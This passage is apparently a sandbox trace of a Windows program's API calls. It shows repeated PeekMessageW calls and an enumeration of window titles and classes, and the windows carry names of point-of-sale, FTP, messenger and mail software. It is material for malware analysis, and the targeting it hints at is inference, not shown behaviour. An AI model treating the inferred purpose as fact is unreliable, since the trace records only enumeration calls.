returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.919] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0136.919] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.919] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0136.919] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.919] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0136.919] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.920] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.920] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.920] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.920] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.920] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.920] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.920] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.921] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.921] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.921] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.921] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.921] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.921] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.921] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.921] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.922] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.922] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.922] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.922] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0136.922] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0136.922] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0136.923] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.923] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.923] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.923] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0136.923] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.923] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0136.923] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.924] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.924] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.924] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.924] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.924] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0136.924] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0136.924] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0136.925] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.925] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0136.925] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.925] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0136.925] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0136.925] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0136.925] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.926] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0136.926] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.926] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0136.926] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.926] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0136.926] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.926] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0136.926] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0136.927] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0136.927] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.927] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0136.927] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.927] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0136.927] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.927] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0136.928] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0136.928] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0136.928] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0136.928] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0136.928] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0136.928] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0136.928] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0136.929] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0136.929] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0136.929] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0136.929] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0136.930] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0136.930] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0136.930] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0136.930] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Education") returned 9 [0136.930] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0136.930] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0136.930] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0136.931] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0136.931] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0136.931] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0136.931] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0136.931] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0136.931] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0136.931] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0136.932] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0136.932] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0136.945] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0136.946] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0136.946] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0136.946] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0136.946] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0136.946] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0136.947] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0136.947] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0136.947] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0136.947] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0136.947] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0136.947] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0136.947] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0136.948] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0136.948] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0136.948] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0136.948] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0136.948] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0136.948] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0136.948] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0136.949] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0136.949] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0136.949] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0136.949] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0136.949] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0136.949] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0136.949] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0136.950] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Skype") returned 5 [0136.950] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0136.950] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0136.950] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0136.950] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0136.950] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0136.951] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Outlook") returned 